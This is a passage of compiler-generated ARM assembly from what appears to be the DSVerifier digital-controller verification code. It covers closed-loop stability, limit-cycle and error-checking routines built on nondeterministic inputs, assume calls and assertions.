lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-856]
ldr r3, .L1200+8
ldr r3, [r3, #1608]
mov r2, r3
ldr r1, [fp, #-888]
ldr r0, [fp, #-856]
bl fxp_to_double_array
ldr r3, .L1200+8
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-852]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-848]
ldr r3, .L1200+8
ldr r3, [r3, #800]
mov r2, r3
ldr r1, [fp, #-864]
ldr r0, [fp, #-848]
bl fxp_to_double_array
ldr r3, .L1200+12
str r3, [fp, #-844]
ldr r3, .L1200+16
ldr r3, [r3, #1608]
str r3, [fp, #-840]
ldr r3, .L1200+16
str r3, [fp, #-836]
ldr r3, .L1200+16
ldr r3, [r3, #800]
str r3, [fp, #-832]
ldr r3, .L1200+8
ldr r2, [r3, #1608]
ldr r3, .L1200+16
ldr r3, [r3, #1608]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #-828]
ldr r3, .L1200+8
ldr r2, [r3, #800]
ldr r3, .L1200+16
ldr r3, [r3, #800]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #-824]
ldr r0, .L1200+20
bl puts
sub r0, fp, #820
ldr r3, [fp, #-832]
str r3, [sp, #4]
ldr r3, [fp, #-836]
str r3, [sp]
ldr r3, [fp, #-840]
ldr r2, [fp, #-844]
ldr r1, [fp, #-824]
bl check_stability_closedloop
mov r3, r0
cmp r3, #0
movne r3, #1
moveq r3, #0
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assert
mov r3, #0
mov sp, r4
ldr r2, .L1200
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L1199
bl __stack_chk_fail
.L1199:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L1201:
.align 2
.L1200:
.word .LC73
.word controller+808
.word controller
.word plant+808
.word plant
.word .LC72
.size verify_stability_closedloop_using_dslib, .-verify_stability_closedloop_using_dslib
.section .rodata
.align 2
.LC74:
.word __stack_chk_guard
.text
.align 2
.global verify_limit_cycle_closed_loop
.syntax unified
.arm
.fpu softvfp
.type verify_limit_cycle_closed_loop, %function
verify_limit_cycle_closed_loop:
@ args = 0, pretend = 0, frame = 1752
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #1760
ldr r3, .L1225
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
ldr r3, .L1225+4
mov r2, #3
str r2, [r3]
ldr r3, .L1225+8
str r3, [fp, #-1716]
ldr r3, .L1225+12
ldr r3, [r3, #1608]
str r3, [fp, #-1720]
ldr r3, .L1225+12
str r3, [fp, #-1724]
ldr r3, .L1225+12
ldr r3, [r3, #800]
str r3, [fp, #-1728]
ldr r3, .L1225+12
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-1732]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-1736]
ldr r3, .L1225+12
ldr r3, [r3, #1608]
mov r2, r3
ldr r1, [fp, #-1736]
ldr r0, [fp, #-1716]
bl fxp_double_to_fxp_array
ldr r3, .L1225+12
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-1740]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-1744]
ldr r3, .L1225+12
ldr r3, [r3, #800]
mov r2, r3
ldr r1, [fp, #-1744]
ldr r0, [fp, #-1724]
bl fxp_double_to_fxp_array
ldr r3, .L1225+12
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-1748]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-1752]
ldr r3, .L1225+12
ldr r3, [r3, #1608]
mov r2, r3
ldr r1, [fp, #-1736]
ldr r0, [fp, #-1752]
bl fxp_to_double_array
ldr r3, .L1225+12
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-1756]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-1760]
ldr r3, .L1225+12
ldr r3, [r3, #800]
mov r2, r3
ldr r1, [fp, #-1744]
ldr r0, [fp, #-1760]
bl fxp_to_double_array
ldr r3, .L1225+16
str r3, [fp, #-1764]
ldr r3, .L1225+20
ldr r3, [r3, #1608]
str r3, [fp, #-1708]
ldr r3, .L1225+20
str r3, [fp, #-1704]
ldr r3, .L1225+20
ldr r3, [r3, #800]
str r3, [fp, #-1700]
ldr r3, .L1225+12
ldr r2, [r3, #1608]
ldr r3, .L1225+20
ldr r3, [r3, #1608]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #-1696]
ldr r3, .L1225+12
ldr r2, [r3, #800]
ldr r3, .L1225+20
ldr r3, [r3, #800]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #-1692]
ldr r3, .L1225+24
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-1688]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-1684]
ldr r3, .L1225+24
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-1680]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-1676]
ldr ip, [fp, #-1696]
sub r3, ip, #1
str r3, [fp, #-1672]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-1668]
bl nondet_double
str r0, [fp, #-1628]
str r1, [fp, #-1624]
ldr r3, .L1225+28
add r3, r3, #16
ldmia r3, {r2-r3}
ldr r0, [fp, #-1628]
ldr r1, [fp, #-1624]
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
beq .L1203
ldr r3, .L1225+28
add r3, r3, #8
ldmia r3, {r2-r3}
ldr r0, [fp, #-1628]
ldr r1, [fp, #-1624]
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
beq .L1203
mov r3, #1
b .L1206
.L1203:
mov r3, #0
.L1206:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
mov r3, #0
str r3, [fp, #-1712]
b .L1207
.L1208:
ldr r2, [fp, #-1676]
ldr r3, [fp, #-1712]
lsl r3, r3, #3
add r1, r2, r3
ldr r2, [fp, #-1628]
ldr r3, [fp, #-1624]
stm r1, {r2-r3}
ldr r2, [fp, #-1684]
ldr r3, [fp, #-1712]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-1712]
add r3, r3, #1
str r3, [fp, #-1712]
.L1207:
ldr r3, .L1225+24
ldr r3, [r3]
ldr r2, [fp, #-1712]
cmp r2, r3
blt .L1208
mov r3, #0
str r3, [fp, #-1712]
b .L1209
.L1210:
ldr r2, [fp, #-1668]
ldr r3, [fp, #-1712]
lsl r3, r3, #3
add r1, r2, r3
ldr r2, [fp, #-1628]
ldr r3, [fp, #-1624]
stm r1, {r2-r3}
ldr r3, [fp, #-1712]
add r3, r3, #1
str r3, [fp, #-1712]
.L1209:
ldr r2, [fp, #-1712]
ldr r3, [fp, #-1696]
cmp r2, r3
blt .L1210
ldr ip, [fp, #-1692]
mov r3, sp
mov r5, r3
sub r3, ip, #1
str r3, [fp, #-1664]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-1660]
ldr ip, [fp, #-1692]
sub r3, ip, #1
str r3, [fp, #-1656]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-1652]
ldr r2, [fp, #-1696]
ldr r3, [fp, #-1692]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-1648]
ldr ip, [fp, #-1648]
sub r3, ip, #1
str r3, [fp, #-1644]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-1640]
ldr ip, [fp, #-1648]
sub r3, ip, #1
str r3, [fp, #-1636]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-1632]
mov r3, #0
str r3, [fp, #-1712]
b .L1211
.L1216:
bl nondet_int
mov r3, r0
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
ldr r0, [fp, #-1660]
ldr r1, [fp, #-1712]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r2, [fp, #-1660]
ldr r3, [fp, #-1712]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, .L1225+28
add r3, r3, #16
ldmia r3, {r2-r3}
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
beq .L1212
ldr r2, [fp, #-1660]
ldr r3, [fp, #-1712]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, .L1225+28
add r3, r3, #8
ldmia r3, {r2-r3}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
beq .L1212
mov r3, #1
b .L1215
.L1212:
mov r3, #0
.L1215:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
ldr r2, [fp, #-1660]
ldr r3, [fp, #-1712]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
ldr r0, [fp, #-1652]
ldr r1, [fp, #-1712]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r3, [fp, #-1712]
add r3, r3, #1
str r3, [fp, #-1712]
.L1211:
ldr r2, [fp, #-1712]
ldr r3, [fp, #-1692]
cmp r2, r3
blt .L1216
mov r3, #0
str r3, [fp, #-1712]
b .L1217
.L1218:
ldr r2, [fp, #-1676]
ldr r3, [fp, #-1712]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-1696]
ldr r2, [fp, #-1668]
bl shiftLDouble
sub r3, fp, #1600
sub r3, r3, #12
sub r3, r3, #8
sub r1, fp, #820
ldr r2, [fp, #-1696]
str r2, [sp, #4]
ldr r2, [fp, #-1692]
str r2, [sp]
mov r2, r1
ldr r1, [fp, #-1668]
ldr r0, [fp, #-1660]
bl double_direct_form_1
mov r2, r0
mov r3, r1
ldr r0, [fp, #-1684]
ldr r1, [fp, #-1712]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r2, [fp, #-1684]
ldr r3, [fp, #-1712]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-1692]
ldr r2, [fp, #-1660]
bl shiftLDouble
ldr r3, [fp, #-1712]
add r3, r3, #1
str r3, [fp, #-1712]
.L1217:
ldr r3, .L1225+24
ldr r3, [r3]
ldr r2, [fp, #-1712]
cmp r2, r3
blt .L1218
ldr r3, .L1225+24
ldr r3, [r3]
mov r1, r3
ldr r0, [fp, #-1684]
bl double_check_persistent_limit_cycle
mov r3, #0
mov sp, r5
mov sp, r4
ldr r2, .L1225
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L1220
bl __stack_chk_fail
.L1220:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L1226:
.align 2
.L1225:
.word .LC74
.word overflow_mode
.word controller+808
.word controller
.word plant+808
.word plant
.word X_SIZE_VALUE
.word impl
.size verify_limit_cycle_closed_loop, .-verify_limit_cycle_closed_loop
.section .rodata
.align 2
.LC75:
.word __stack_chk_guard
.text
.align 2
.global verify_error_closedloop
.syntax unified
.arm
.fpu softvfp
.type verify_error_closedloop, %function
verify_error_closedloop:
@ args = 0, pretend = 0, frame = 3424
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, r8, r9, fp, lr}
add fp, sp, #28
sub sp, sp, #3424
sub sp, sp, #8
ldr r3, .L1250
ldr r3, [r3]
str r3, [fp, #-32]
mov r3,#0
mov r3, sp
mov r8, r3
ldr r3, .L1250+4
mov r2, #3
str r2, [r3]
ldr r3, .L1250+8
str r3, [fp, #-3348]
ldr r3, .L1250+12
ldr r3, [r3, #1608]
str r3, [fp, #-3352]
ldr r3, .L1250+12
str r3, [fp, #-3356]
ldr r3, .L1250+12
ldr r3, [r3, #800]
str r3, [fp, #-3360]
ldr r3, .L1250+12
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-3364]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-3368]
ldr r3, .L1250+12
ldr r3, [r3, #1608]
mov r2, r3
ldr r1, [fp, #-3368]
ldr r0, [fp, #-3348]
bl fxp_double_to_fxp_array
ldr r3, .L1250+12
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-3372]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-3376]
ldr r3, .L1250+12
ldr r3, [r3, #800]
mov r2, r3
ldr r1, [fp, #-3376]
ldr r0, [fp, #-3356]
bl fxp_double_to_fxp_array
ldr r3, .L1250+12
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-3380]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-3384]
ldr r3, .L1250+12
ldr r3, [r3, #1608]
mov r2, r3
ldr r1, [fp, #-3368]
ldr r0, [fp, #-3384]
bl fxp_to_double_array
ldr r3, .L1250+12
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-3388]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-3392]
ldr r3, .L1250+12
ldr r3, [r3, #800]
mov r2, r3
ldr r1, [fp, #-3376]
ldr r0, [fp, #-3392]
bl fxp_to_double_array
ldr r3, .L1250+16
str r3, [fp, #-3396]
ldr r3, .L1250+20
ldr r3, [r3, #1608]
str r3, [fp, #-3400]
ldr r3, .L1250+20
str r3, [fp, #-3404]
ldr r3, .L1250+20
ldr r3, [r3, #800]
str r3, [fp, #-3408]
ldr r3, .L1250+12
ldr r2, [r3, #1608]
ldr r3, .L1250+20
ldr r3, [r3, #1608]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #-3412]
ldr r3, .L1250+12
ldr r2, [r3, #800]
ldr r3, .L1250+20
ldr r3, [r3, #800]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #-3416]
ldr r3, .L1250+24
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-3420]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-3424]
ldr r3, .L1250+24
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-3428]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-3432]
ldr r3, .L1250+24
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-3436]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-3440]
ldr r3, .L1250+24
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-3444]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-3448]
ldr ip, [fp, #-3412]
sub r3, ip, #1
str r3, [fp, #-3452]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-3340]
ldr ip, [fp, #-3412]
sub r3, ip, #1
str r3, [fp, #-3336]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-3332]
ldr ip, [fp, #-3412]
sub r3, ip, #1
str r3, [fp, #-3328]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-3324]
bl nondet_double
str r0, [fp, #-3252]
str r1, [fp, #-3248]
ldr r3, .L1250+28
add r3, r3, #16
ldmia r3, {r2-r3}
ldr r0, [fp, #-3252]
ldr r1, [fp, #-3248]
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
beq .L1228
ldr r3, .L1250+28
add r3, r3, #8
ldmia r3, {r2-r3}
ldr r0, [fp, #-3252]
ldr r1, [fp, #-3248]
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
beq .L1228
mov r3, #1
b .L1231
.L1228:
mov r3, #0
.L1231:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
mov r3, #0
str r3, [fp, #-3344]
b .L1232
.L1233:
ldr r2, [fp, #-3440]
ldr r3, [fp, #-3344]
lsl r3, r3, #3
add r1, r2, r3
ldr r2, [fp, #-3252]
ldr r3, [fp, #-3248]
stm r1, {r2-r3}
ldr r2, [fp, #-3448]
ldr r3, [fp, #-3344]
lsl r3, r3, #3
add r1, r2, r3
ldr r2, [fp, #-3252]
ldr r3, [fp, #-3248]
stm r1, {r2-r3}
ldr r2, [fp, #-3424]
ldr r3, [fp, #-3344]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r2, [fp, #-3432]
ldr r3, [fp, #-3344]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-3344]
add r3, r3, #1
str r3, [fp, #-3344]
.L1232:
ldr r3, .L1250+24
ldr r3, [r3]
ldr r2, [fp, #-3344]
cmp r2, r3
blt .L1233
mov r3, #0
str r3, [fp, #-3344]
b .L1234
.L1235:
ldr r2, [fp, #-3340]
ldr r3, [fp, #-3344]
lsl r3, r3, #3
add r1, r2, r3
ldr r2, [fp, #-3252]
ldr r3, [fp, #-3248]
stm r1, {r2-r3}
ldr r2, [fp, #-3332]
ldr r3, [fp, #-3344]
lsl r3, r3, #3
add r1, r2, r3
ldr r2, [fp, #-3252]
ldr r3, [fp, #-3248]
stm r1, {r2-r3}
ldr r3, [fp, #-3344]
add r3, r3, #1
str r3, [fp, #-3344]
.L1234:
ldr r2, [fp, #-3344]
ldr r3, [fp, #-3412]
cmp r2, r3
blt .L1235
ldr ip, [fp, #-3416]
mov r3, sp
mov r9, r3
sub r3, ip, #1
str r3, [fp, #-3320]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-3316]
ldr ip, [fp, #-3416]
sub r3, ip, #1
